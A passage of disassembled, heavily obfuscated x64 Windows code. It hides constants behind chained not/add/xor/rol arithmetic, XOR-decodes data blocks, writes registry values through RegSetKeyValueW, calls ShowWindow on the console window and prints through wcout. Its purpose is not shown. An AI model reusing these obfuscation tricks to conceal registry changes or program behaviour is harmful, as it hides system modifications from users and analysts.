xor rax, 0x6cea743b
rol rax, 0x12
popf
pushf
not rax
add rax, 0x629c7001
xor rax, 0x7e4063a8
rol rax, 0xcf
popf
mov qword [rsp + 0x690], rax
movabs rax, 0x3384805003ef0997
pushf
not rax
add rax, 0x668c63a6
xor rax, 0x4a3be29b
rol rax, 0x69
popf
pushf
not rax
add rax, 0x5e5493b6
xor rax, 0x788da010
rol rax, 0xc1
popf
pushf
not rax
add rax, 0x522fd07f
xor rax, 0x728c737c
rol rax, 0x33
popf
mov qword [rsp + 0x698], rax
movabs rax, 0xf86f840818bc34b7
pushf
not rax
add rax, 0x71d27155
xor rax, 0x4e722a2a
rol rax, 6
popf
pushf
not rax
add rax, 0x62b84ca0
xor rax, 0x478c0a1c
rol rax, 0x8b
popf
mov qword [rsp + 0x6a0], rax
movabs rax, 0xb5b36df521587c9c
pushf
not rax
add rax, 0x5bd9ab7a
xor rax, 0x6e2f97af
rol rax, 0xa6
popf
pushf
not rax
add rax, 0x5b8af867
xor rax, 0x59988970
rol rax, 0xc4
popf
pushf
not rax
add rax, 0x4364a225
xor rax, 0x51ac672a
rol rax, 0x31
popf
pushf
not rax
add rax, 0x4c33309d
xor rax, 0x699aaec8
rol rax, 0x1a
popf
mov qword [rsp + 0x6a8], rax
lea rax, [rsp + 0x3c]
mov rdi, rax
xor eax, eax
mov ecx, 0xafc98770
pushf
not ecx
add ecx, 0xb029a106
xor ecx, 0x975faaf9
rol ecx, 0x44
popf
pushf
not ecx
add ecx, 0xadb5ecb6
xor ecx, 0xc1c353c0
rol ecx, 0x96
popf
pushf
not ecx
add ecx, 0xe8081a40
xor ecx, 0xb537b91d
rol ecx, 0x19
popf
pushf
not ecx
add ecx, 0x9942e31a
xor ecx, 0xe36ee694
rol ecx, 0xe7
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x3c]
mov byte [rsp + 0xb0], al
movdqa xmm0, xmmword [rsp + 0x690]
movdqa xmmword [rsp + 0x850], xmm0
movdqa xmm0, xmmword [rsp + 0x3f0]
movdqa xmmword [rsp + 0x840], xmm0
movdqa xmm0, xmmword [rsp + 0x840]
pxor xmm0, xmmword [rsp + 0x850]
movdqa xmmword [rsp + 0x860], xmm0
movdqa xmm0, xmmword [rsp + 0x860]
movdqa xmmword [rsp + 0x3f0], xmm0
lea rax, [rsp + 0x400]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x6a0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x880], xmm0
mov rax, qword [rsp + 0x1d8]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x870], xmm0
movdqa xmm0, xmmword [rsp + 0x870]
pxor xmm0, xmmword [rsp + 0x880]
movdqa xmmword [rsp + 0x890], xmm0
mov rax, qword [rsp + 0x1d8]
movdqa xmm0, xmmword [rsp + 0x890]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x340], rax
mov eax, dword [rsp + 0x1a0]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x20], rax
mov r9d, 0x270d649
pushf
not r9d
add r9d, 0xb014e57f
xor r9d, 0xc96948bf
rol r9d, 0xcd
popf
pushf
not r9d
add r9d, 0x8b7fcb72
xor r9d, 0xfab0aa92
rol r9d, 0x21
popf
pushf
not r9d
add r9d, 0xe4e6ac68
xor r9d, 0xb66903d3
rol r9d, 0x88
popf
mov r8, qword [rsp + 0x338]
xor edx, edx
mov rcx, qword [rsp + 0x340]
jmp 0x1403b9fdc
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov dword [rsp + 0x5c], eax
cmp dword [rsp + 0x5c], 0
je 0x1403ba024
push rax
pushf
mov eax, 0x7563d8c8
pushf
not eax
add eax, 0xc0e4cd03
xor eax, 0x83e6e3e2
rol eax, 0x57
popf
pushf
not eax
add eax, 0x913b7f54
xor eax, 0xa4d78c48
rol eax, 0x92
popf
jmp 0x1403b84f0
push rax
pushf
mov eax, 0xcfdb48f3
pushf
not eax
add eax, 0xb62404ce
xor eax, 0xf4f869f0
rol eax, 0x78
popf
pushf
not eax
add eax, 0x8ec4863b
xor eax, 0xc243f4ac
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x87d764d7
xor eax, 0xa58bebc6
rol eax, 0xaf
popf
jmp 0x1403b84f0
mov rcx, qword [rsp + 0x198]
jmp 0x1403ba073
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1403ba07a
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 0x7d9a2920
pushf
not edx
add edx, 0x9859c2e7
xor edx, 0xaa63fa10
rol edx, 0xb1
popf
pushf
not edx
add edx, 0xa2203199
xor edx, 0xda72c5e0
rol edx, 0x97
popf
mov rcx, rax
jmp 0x1403ba0b3
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x3d]
mov rdi, rax
xor eax, eax
mov ecx, 0xcbccd3bf
pushf
not ecx
add ecx, 0xcc7e19ad
xor ecx, 0xe3cfe0e5
rol ecx, 0x6b
popf
pushf
not ecx
add ecx, 0xb629ac09
xor ecx, 0xc30164ed
rol ecx, 0x47
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x3e]
mov rdi, rax
xor eax, eax
mov ecx, 0xacc351af
pushf
not ecx
add ecx, 0x9966480e
xor ecx, 0xd3ad5ad4
rol ecx, 0xc2
popf
pushf
not ecx
add ecx, 0xe017aadf
xor ecx, 0x8b5a62b1
rol ecx, 0x2d
popf
pushf
not ecx
add ecx, 0xf25ffe7b
xor ecx, 0x9f1f116b
rol ecx, 0xe0
popf
rep stosb byte [rdi], al
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rsp + 0x350], rax
movzx eax, byte [rsp + 0x3d]
mov byte [rsp + 0xb8], al
movzx eax, byte [rsp + 0x3e]
mov byte [rsp + 0xc0], al
movabs rax, 0x8161f76b46e29212
pushf
not rax
add rax, 0x66d7be77
xor rax, 0x553d4e82
rol rax, 0x43
popf
pushf
not rax
add rax, 0x44ddd735
xor rax, 0x6f25a72b
rol rax, 0x62
popf
mov qword [rsp + 0x430], rax
movabs rax, 0xc5b3b78341d503fe
pushf
not rax
add rax, 0x46b38131
xor rax, 0x6c54a75c
rol rax, 0xf4
popf
pushf
not rax
add rax, 0x431944e5
xor rax, 0x5ebaafc6
rol rax, 0xc1
popf
mov qword [rsp + 0x438], rax
movabs rax, 0x2e61306badae4e6d
pushf
not rax
add rax, 0x45905886
xor rax, 0x539dbf94
rol rax, 0xf3
popf
pushf
not rax
add rax, 0x7a0d146d
xor rax, 0x6a3d3ad8
rol rax, 0x94
popf
pushf
not rax
add rax, 0x4b5093a7
xor rax, 0x465f6809
rol rax, 0x5d
popf
pushf
not rax
add rax, 0x6900f249
xor rax, 0x75d77488
rol rax, 0xe5
popf
mov qword [rsp + 0x440], rax
movabs rax, 0x6aedf17ec59393da
pushf
not rax
add rax, 0x7490b526
xor rax, 0x60a7ad33
rol rax, 0xa8
popf
pushf
not rax
add rax, 0x5dc084a8
xor rax, 0x455badfa
rol rax, 0xce
popf
pushf
not rax
add rax, 0x7b0183a5
xor rax, 0x62ab9aa3
rol rax, 0xd2
popf
pushf
not rax
add rax, 0x7e570597
xor rax, 0x5e233dab
rol rax, 0x58
popf
mov qword [rsp + 0x448], rax
movabs rax, 0xcf0b7fdd2ecf386
pushf
not rax
add rax, 0x49184330
xor rax, 0x56469a8c
rol rax, 0x80
popf
pushf
not rax
add rax, 0x4eda88f4
xor rax, 0x76cdc0f4
rol rax, 0xb6
popf
pushf
not rax
add rax, 0x47b91ea5
xor rax, 0x40129095
rol rax, 0x2f
popf
mov qword [rsp + 0x450], rax
movabs rax, 0xb3402416bd2bb4c2
pushf
not rax
add rax, 0x5427e3e6
xor rax, 0x59b47cbd
rol rax, 0x44
popf
pushf
not rax
add rax, 0x5f9b9a4b
xor rax, 0x7ecfc2e6
rol rax, 0x54
popf
pushf
not rax
add rax, 0x6f84cfa4
xor rax, 0x54af0aab
rol rax, 0xf7
popf
pushf
not rax
add rax, 0x596d5aaf
xor rax, 0x562cbdd1
rol rax, 0x11
popf
mov qword [rsp + 0x458], rax
movabs rax, 0x2ce1d0311baea10c
pushf
not rax
add rax, 0x49ee1e14
xor rax, 0x79671e1a
rol rax, 0x66
popf
pushf
not rax
add rax, 0x6ae09faf
xor rax, 0x43b12e1d
rol rax, 0x7a
popf
pushf
not rax
add rax, 0x7995e8c9
xor rax, 0x4a7b5e2e
rol rax, 0xad
popf
mov qword [rsp + 0x6d0], rax
movabs rax, 0xd74b4567ba76dc38
pushf
not rax
add rax, 0x4bbf489e
xor rax, 0x6d58940c
rol rax, 0xef
popf
pushf
not rax
add rax, 0x7d268522
xor rax, 0x74535bd0
rol rax, 0x91
popf
mov qword [rsp + 0x6d8], rax
movabs rax, 0x2fbdf910c7cd0c81
pushf
not rax
add rax, 0x7645bbfb
xor rax, 0x4e261896
rol rax, 0x18
popf
pushf
not rax
add rax, 0x59f7c672
xor rax, 0x758322ff
rol rax, 0x7f
popf
pushf
not rax
add rax, 0x4220dd2f
xor rax, 0x674386c4
rol rax, 0x33
popf
pushf
not rax
add rax, 0x46a06259
xor rax, 0x78321cc0
rol rax, 0xcd
popf
mov qword [rsp + 0x6e0], rax
movabs rax, 0x237b7cc53223ca5a
pushf
not rax
add rax, 0x4fcc0264
xor rax, 0x68be645e
rol rax, 0xf2
popf
pushf
not rax
add rax, 0x52c3c214
xor rax, 0x76e44e01
rol rax, 0x8c
popf
pushf
not rax
add rax, 0x75a15c75
xor rax, 0x7f340509
rol rax, 0x6f
popf
mov qword [rsp + 0x6e8], rax
movabs rax, 0xbf4726ba21f83ffc
pushf
not rax
add rax, 0x6bb10290
xor rax, 0x70f30762
rol rax, 0xf3
popf
pushf
not rax
add rax, 0x59385a48
xor rax, 0x4865ae6b
rol rax, 0x13
popf
pushf
not rax
add rax, 0x456cb159
xor rax, 0x648a792f
rol rax, 0x72
popf
mov qword [rsp + 0x6f0], rax
movabs rax, 0x784433eeb4706beb
pushf
not rax
add rax, 0x6b04b384
xor rax, 0x4084685c
rol rax, 0x97
popf
pushf
not rax
add rax, 0x69704469
xor rax, 0x7ddfb708
rol rax, 0xf5
popf
mov qword [rsp + 0x6f8], rax
lea rax, [rsp + 0x3f]
mov rdi, rax
xor eax, eax
mov ecx, 0xdef05b32
pushf
not ecx
add ecx, 0xab1805d3
xor ecx, 0xc2a55b9a
rol ecx, 0xed
popf
pushf
not ecx
add ecx, 0x856e556c
xor ecx, 0xc0ab5314
rol ecx, 0xc
popf
pushf
not ecx
add ecx, 0x890e4c92
xor ecx, 0xc5254e13
rol ecx, 0xeb
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x3f]
mov byte [rsp + 0xc8], al
movdqa xmm0, xmmword [rsp + 0x6d0]
movdqa xmmword [rsp + 0x8b0], xmm0
movdqa xmm0, xmmword [rsp + 0x430]
movdqa xmmword [rsp + 0x8a0], xmm0
movdqa xmm0, xmmword [rsp + 0x8a0]
pxor xmm0, xmmword [rsp + 0x8b0]
movdqa xmmword [rsp + 0x8c0], xmm0
movdqa xmm0, xmmword [rsp + 0x8c0]
movdqa xmmword [rsp + 0x430], xmm0
lea rax, [rsp + 0x440]
mov qword [rsp + 0x1e0], rax
lea rax, [rsp + 0x6e0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x8e0], xmm0
mov rax, qword [rsp + 0x1e0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x8d0], xmm0
movdqa xmm0, xmmword [rsp + 0x8d0]
pxor xmm0, xmmword [rsp + 0x8e0]
movdqa xmmword [rsp + 0x8f0], xmm0
mov rax, qword [rsp + 0x1e0]
movdqa xmm0, xmmword [rsp + 0x8f0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x450]
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0x6f0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x910], xmm0
mov rax, qword [rsp + 0x1e8]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x900], xmm0
movdqa xmm0, xmmword [rsp + 0x900]
pxor xmm0, xmmword [rsp + 0x910]
movdqa xmmword [rsp + 0x920], xmm0
mov rax, qword [rsp + 0x1e8]
movdqa xmm0, xmmword [rsp + 0x920]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x430]
mov qword [rsp + 0x348], rax
mov rdx, qword [rsp + 0x348]
mov rcx, qword [rsp + 0x350]
call fcn.14027ec45
mov qword [rsp + 0x358], rax
lea rdx, [0x1bc85fdc1]
pushf
sub rdx, 0x7c7d5211
popf
mov rcx, qword [rsp + 0x358]
jmp 0x1403ba748
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov byte [rsp + 0x40], 0
lea rcx, [rsp + 0x2a0]
call fcn.140307c1b
lea rcx, [rsp + 0x2f0]
call fcn.140307c1b
lea rcx, [rsp + 0x2c0]
call fcn.140307c1b
movzx eax, byte [rsp + 0x40]
jmp 0x1403bdf36
lea rax, [rsp + 0x41]
mov rdi, rax
xor eax, eax
mov ecx, 0xe2254d7b
pushf
not ecx
add ecx, 0xd8479bc6
xor ecx, 0xfa3cc557
rol ecx, 7
popf
pushf
not ecx
add ecx, 0xaf8725de
xor ecx, 0xa0019757
rol ecx, 0x4a
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x42]
mov rdi, rax
xor eax, eax
mov ecx, 0xc6adb70
pushf
not ecx
add ecx, 0x81eba3a7
xor ecx, 0xb15fb7c8
rol ecx, 0x5f
popf
pushf
not ecx
add ecx, 0xd23cf4c1
xor ecx, 0xd8da9df1
rol ecx, 0x7d
popf
pushf
not ecx
add ecx, 0x95f13b11
xor ecx, 0xff0e45ea
rol ecx, 0x41
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x41]
mov byte [rsp + 0xd0], al
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0xd8], al
movabs rax, 0x3b338aa75c00f5b9
pushf
not rax
add rax, 0x68a4253f
xor rax, 0x5c4124f0
rol rax, 0x68
popf
pushf
not rax
add rax, 0x46e0272b
xor rax, 0x767ea3a1
rol rax, 0x5b
popf
pushf
not rax
add rax, 0x5d39474a
xor rax, 0x7a7beaeb
rol rax, 0x71
popf
pushf
not rax
add rax, 0x7981cb9c
xor rax, 0x6c625d28
rol rax, 0xf4
popf
mov qword [rsp + 0x270], rax
movabs rax, 0x85e675b4a3fc555c
pushf
not rax
add rax, 0x70db8ba6
xor rax, 0x60471318
rol rax, 0x2a
popf
pushf
not rax
add rax, 0x7f547970
xor rax, 0x47a99054
rol rax, 0xa3
popf
pushf
not rax
add rax, 0x414bd793
xor rax, 0x6cefe22d
rol rax, 0xa
popf
pushf
not rax
add rax, 0x7eb5f964
xor rax, 0x5dc4492a
rol rax, 0xc6
popf
mov qword [rsp + 0x278], rax
movabs rax, 0xbb7a158072c40a2a
pushf
not rax
add rax, 0x4cca37b5
xor rax, 0x72ecbbba
rol rax, 0x81
popf
pushf
not rax
add rax, 0x7da4f5dd
xor rax, 0x7b750a64
rol rax, 0x6a
popf
pushf
not rax
add rax, 0x4fb24be9
xor rax, 0x7f589aa4
rol rax, 0x34
popf
pushf
not rax
add rax, 0x484dbbf9
xor rax, 0x5a0d6412
rol rax, 0x74
popf
mov qword [rsp + 0x660], rax
movabs rax, 0x9b90fc8c1605aebf
pushf
not rax
add rax, 0x7734be32
xor rax, 0x5a7e944d
rol rax, 0x5f
popf
pushf
not rax
add rax, 0x67cbcaae
xor rax, 0x474ea169
rol rax, 0x6b
popf
mov qword [rsp + 0x668], rax
lea rax, [rsp + 0x43]
mov rdi, rax
xor eax, eax
mov ecx, 0x5e21fd87
pushf
not ecx
add ecx, 0xc4ef49f1
xor ecx, 0xaa269592
rol ecx, 0xb5
popf
pushf
not ecx
add ecx, 0xcd2af43b
xor ecx, 0x8d9156bf
rol ecx, 0xeb
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0xe0], al
movdqa xmm0, xmmword [rsp + 0x660]
movdqa xmmword [rsp + 0x940], xmm0
movdqa xmm0, xmmword [rsp + 0x270]
movdqa xmmword [rsp + 0x930], xmm0
movdqa xmm0, xmmword [rsp + 0x930]
pxor xmm0, xmmword [rsp + 0x940]
movdqa xmmword [rsp + 0x950], xmm0
movdqa xmm0, xmmword [rsp + 0x950]
movdqa xmmword [rsp + 0x270], xmm0
lea rax, [rsp + 0x270]
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x368], rax
mov dword [rsp + 0x28], 4
lea rax, [0x18918c19b]
pushf
sub rax, 0x4906541b
popf
mov qword [rsp + 0x20], rax
mov r9d, 0x175d6b74
pushf
not r9d
add r9d, 0xdb22baf4
xor r9d, 0x8ba9cd75
rol r9d, 0xf8
popf
pushf
not r9d
add r9d, 0x8f09d0d4
xor r9d, 0x8001c10e
rol r9d, 0xb0
popf
pushf
not r9d
add r9d, 0x93f55406
xor r9d, 0x941c4a79
rol r9d, 0xb
popf
pushf
not r9d
add r9d, 0xf6cd1203
xor r9d, 0xa6a3262e
rol r9d, 0x17
popf
mov r8, qword [rsp + 0x360]
xor edx, edx
mov rcx, qword [rsp + 0x368]
jmp 0x1403bab5d
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov dword [rsp + 0x5c], eax
cmp dword [rsp + 0x5c], 0
je 0x1403babcb
push rax
pushf
mov eax, 0xa6c453ea
pushf
not eax
add eax, 0xd2937236
xor eax, 0xe3c49d48
rol eax, 0x35
popf
pushf
not eax
add eax, 0xf683f60f
xor eax, 0xe1dd00ec
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x8882fb01
xor eax, 0xf19e9202
rol eax, 0x16
popf
pushf
not eax
add eax, 0xd829ca47
xor eax, 0xc7646dd9
rol eax, 0x21
popf
jmp 0x1403b84f0
push rax
pushf
mov eax, 0x9c963271
pushf
not eax
add eax, 0xa04b4599
xor eax, 0x8a851a55
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xcf364edd
xor eax, 0xbe104dae
rol eax, 0x43
popf
jmp 0x1403b84f0
mov rcx, qword [rsp + 0x198]
jmp 0x1403bac07
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1403bac0e
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 0x46502322
pushf
not edx
add edx, 0xc2b79ab6
xor edx, 0xe00ad09f
rol edx, 0x7a
popf
pushf
not edx
add edx, 0xe8e1080e
xor edx, 0xb6dc46eb
rol edx, 0x9d
popf
pushf
not edx
add edx, 0xf86b011d
xor edx, 0xb8549e3d
rol edx, 0xfe
popf
mov rcx, rax
jmp 0x1403bac5c
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x44]
mov rdi, rax
xor eax, eax
mov ecx, 0x10669492
pushf
not ecx
add ecx, 0x90db46e0
xor ecx, 0xb76941d1
rol ecx, 0x5f
popf
pushf
not ecx
add ecx, 0xb17d21e9
xor ecx, 0xa97c6f61
rol ecx, 0xdc
popf
pushf
not ecx
add ecx, 0x9814485c
xor ecx, 0xe40b23e4
rol ecx, 0x4a
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x45]
mov rdi, rax
xor eax, eax
mov ecx, 0xed996acd
pushf
not ecx
add ecx, 0x8ba91ebd
xor ecx, 0xe018dc9f
rol ecx, 0xda
popf
pushf
not ecx
add ecx, 0xb83fe68a
xor ecx, 0xa8cd3cf8
rol ecx, 0x6c
popf
pushf
not ecx
add ecx, 0xf1589f58
xor ecx, 0xf3b861b0
rol ecx, 0xa3
popf
pushf
not ecx
add ecx, 0xd0ebf4a1
xor ecx, 0xa3822da3
rol ecx, 0x61
popf
rep stosb byte [rdi], al
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rsp + 0x378], rax
movzx eax, byte [rsp + 0x44]
mov byte [rsp + 0xe8], al
movzx eax, byte [rsp + 0x45]
mov byte [rsp + 0xf0], al
movabs rax, 0x8d451237523ecb1a
pushf
not rax
add rax, 0x4f3c1908
xor rax, 0x7ffecd47
rol rax, 0x56
popf
pushf
not rax
add rax, 0x4f41c2e0
xor rax, 0x68ce1c3f
rol rax, 0x11
popf
pushf
not rax
add rax, 0x6f2319c6
xor rax, 0x55e44552
rol rax, 0xc2
popf
mov qword [rsp + 0x460], rax
movabs rax, 0x579774fca17634a3
pushf
not rax
add rax, 0x6a00ad7c
xor rax, 0x613292a8
rol rax, 0x96
popf
pushf
not rax
add rax, 0x5c8f15d3
xor rax, 0x73daa431
rol rax, 0xcd
popf
mov qword [rsp + 0x468], rax
movabs rax, 0xf6226f926bb01c42
pushf
not rax
add rax, 0x75aa8421
xor rax, 0x49fca763
rol rax, 0xd6
popf
pushf
not rax
add rax, 0x538aa091
xor rax, 0x752e2a37
rol rax, 0x17
popf
mov qword [rsp + 0x470], rax
movabs rax, 0x2d5511aff90bc209
pushf
not rax
add rax, 0x7ff3cc80
xor rax, 0x61f1ff04
rol rax, 0x31
popf
pushf
not rax
add rax, 0x54d35a16
xor rax, 0x4bbf660e
rol rax, 0x4d
popf
pushf
not rax
add rax, 0x42acc30e
xor rax, 0x7270dc91
rol rax, 0x83
popf
pushf
not rax
add rax, 0x6683c568
xor rax, 0x5261dc7d
rol rax, 0x88
popf
mov qword [rsp + 0x478], rax
movabs rax, 0xbfff2e9c2d559a90
pushf
not rax
add rax, 0x5104a863
xor rax, 0x6414708b
rol rax, 0xae
popf
pushf
not rax
add rax, 0x6804170f
xor rax, 0x4c4965e4
rol rax, 0x4b
popf
pushf
not rax
add rax, 0x4e62aa38
xor rax, 0x6a0e91ef
rol rax, 0xe8
popf
mov qword [rsp + 0x480], rax
movabs rax, 0x9f5e7a31572ce768
pushf
not rax
add rax, 0x42591f65
xor rax, 0x5c74af03
rol rax, 1
popf
pushf
not rax
add rax, 0x450a561d
xor rax, 0x6b9819e4
rol rax, 0x97
popf
mov qword [rsp + 0x488], rax
movabs rax, 0x28f66d21b7cd1111
pushf
not rax
add rax, 0x6bc07977
xor rax, 0x4a06ee54
rol rax, 0x29
popf
pushf
not rax
add rax, 0x504134ea
xor rax, 0x5a6858f4
rol rax, 0x79
popf
pushf
not rax
add rax, 0x77e14859
xor rax, 0x530822db
rol rax, 0x6f
popf
mov qword [rsp + 0x700], rax
movabs rax, 0x1928b338853e5b16
pushf
not rax
add rax, 0x49081241
xor rax, 0x4d658d4d
rol rax, 0x45
popf
pushf
not rax
add rax, 0x62b51a1c
xor rax, 0x5db27212
rol rax, 0xb4
popf
pushf
not rax
add rax, 0x5fa167e0
xor rax, 0x40912ec2
rol rax, 0x8f
popf
mov qword [rsp + 0x708], rax
movabs rax, 0x678bc16e786dcc77
pushf
not rax
add rax, 0x49cead71
xor rax, 0x64e4272b
rol rax, 0x6a
popf
pushf
not rax
add rax, 0x6c1e8a50
xor rax, 0x6f01f3bd
rol rax, 6
popf
pushf
not rax
add rax, 0x43d79f96
xor rax, 0x464b5103
rol rax, 0x26
popf
mov qword [rsp + 0x710], rax
movabs rax, 0x7ea0072d46c3ba59
pushf
not rax
add rax, 0x4d1e0eb6
xor rax, 0x46effacb
rol rax, 0x54
popf
pushf
not rax
add rax, 0x6b6a9ae6
xor rax, 0x7810f23b
rol rax, 0x73
popf
pushf
not rax
add rax, 0x55d46ac9
xor rax, 0x4d6cdc86
rol rax, 0xd1
popf
mov qword [rsp + 0x718], rax
movabs rax, 0xfe3b17583d35c903
pushf
not rax
add rax, 0x43ab3d0d
xor rax, 0x42549350
rol rax, 0xb7
popf
pushf
not rax
add rax, 0x5a3b8ef7
xor rax, 0x57089806
rol rax, 0xd2
popf
pushf
not rax
add rax, 0x79678e6d
xor rax, 0x485e1c13
rol rax, 0xa1
popf
mov qword [rsp + 0x720], rax
movabs rax, 0xbc19b7ee02d3c492
pushf
not rax
add rax, 0x49f81a02
xor rax, 0x6463c40e
rol rax, 0x2f
popf
pushf
not rax
add rax, 0x6390c487
xor rax, 0x448fa5e6
rol rax, 0xa2
popf
pushf
not rax
add rax, 0x6d594bb1
xor rax, 0x5f5df8a7
rol rax, 0x6b
popf
mov qword [rsp + 0x728], rax
lea rax, [rsp + 0x46]
mov rdi, rax
xor eax, eax
mov ecx, 0x7f52f931
pushf
not ecx
add ecx, 0xe3d03d72
xor ecx, 0xbf9afb4b
rol ecx, 0x57
popf
pushf
not ecx
add ecx, 0xf4207040
xor ecx, 0x861eae9e
rol ecx, 0xa
popf
pushf
not ecx
add ecx, 0x8261df9f
xor ecx, 0x97b5a30b
rol ecx, 0xf8
popf
pushf
not ecx
add ecx, 0xeb180a0f
xor ecx, 0xf5be69ce
rol ecx, 0xd0
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x46]
mov byte [rsp + 0xf8], al
movdqa xmm0, xmmword [rsp + 0x700]
movdqa xmmword [rsp + 0x970], xmm0
movdqa xmm0, xmmword [rsp + 0x460]
movdqa xmmword [rsp + 0x960], xmm0
movdqa xmm0, xmmword [rsp + 0x960]
pxor xmm0, xmmword [rsp + 0x970]
movdqa xmmword [rsp + 0x980], xmm0
movdqa xmm0, xmmword [rsp + 0x980]
movdqa xmmword [rsp + 0x460], xmm0
lea rax, [rsp + 0x470]
mov qword [rsp + 0x1f0], rax
lea rax, [rsp + 0x710]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x9a0], xmm0
mov rax, qword [rsp + 0x1f0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x990], xmm0
movdqa xmm0, xmmword [rsp + 0x990]
pxor xmm0, xmmword [rsp + 0x9a0]
movdqa xmmword [rsp + 0x9b0], xmm0
mov rax, qword [rsp + 0x1f0]
movdqa xmm0, xmmword [rsp + 0x9b0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x480]
mov qword [rsp + 0x1f8], rax
lea rax, [rsp + 0x720]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x9d0], xmm0
mov rax, qword [rsp + 0x1f8]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x9c0], xmm0
movdqa xmm0, xmmword [rsp + 0x9c0]
pxor xmm0, xmmword [rsp + 0x9d0]
movdqa xmmword [rsp + 0x9e0], xmm0
mov rax, qword [rsp + 0x1f8]
movdqa xmm0, xmmword [rsp + 0x9e0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x460]
mov qword [rsp + 0x370], rax
mov rdx, qword [rsp + 0x370]
mov rcx, qword [rsp + 0x378]
call fcn.14027ec45
mov qword [rsp + 0x380], rax
lea rdx, [0x187d79391]
pushf
sub rdx, 0x47cee7e1
popf
mov rcx, qword [rsp + 0x380]
jmp 0x1403bb301
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov byte [rsp + 0x47], 0
lea rcx, [rsp + 0x2a0]
call fcn.140307c1b
lea rcx, [rsp + 0x2f0]
call fcn.140307c1b
lea rcx, [rsp + 0x2c0]
call fcn.140307c1b
movzx eax, byte [rsp + 0x47]
jmp 0x1403bdf36
mov rcx, qword [rsp + 0x198]
jmp 0x1403bb346
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 0x3b4bc0bd
pushf
not ecx
add ecx, 0xac5d31ac
xor ecx, 0xc57f824f
rol ecx, 0xfb
popf
pushf
not ecx
add ecx, 0xd0c8bcad
xor ecx, 0xc89374e1
rol ecx, 0xec
popf
pushf
not ecx
add ecx, 0xad7ae8b2
xor ecx, 0x922562b9
rol ecx, 0x6a
popf
pushf
not ecx
add ecx, 0x92394a51
xor ecx, 0x96a408ef
rol ecx, 0xf7
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x49]
mov rdi, rax
xor eax, eax
mov ecx, 0x52e2d2fc
pushf
not ecx
add ecx, 0xd4d7e8ae
xor ecx, 0xc009de09
rol ecx, 0x84
popf
pushf
not ecx
add ecx, 0xa983f401
xor ecx, 0xb3a54188
rol ecx, 2
popf
pushf
not ecx
add ecx, 0xae8dfb14
xor ecx, 0x9669d258
rol ecx, 0xc5
popf
pushf
not ecx
add ecx, 0xc2a79327
xor ecx, 0xbcee6fbc
rol ecx, 0x30
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x48]
mov byte [rsp + 0x100], al
movzx eax, byte [rsp + 0x49]
mov byte [rsp + 0x108], al
movabs rax, 0xf4e06250bab1f559
pushf
not rax
add rax, 0x6a8f5444
xor rax, 0x524a7268
rol rax, 0xac
popf
pushf
not rax
add rax, 0x4dbb4fd2
xor rax, 0x4e605129
rol rax, 0x86
popf
mov qword [rsp + 0x280], rax
movabs rax, 0xb7cab69b5b76caf3
pushf
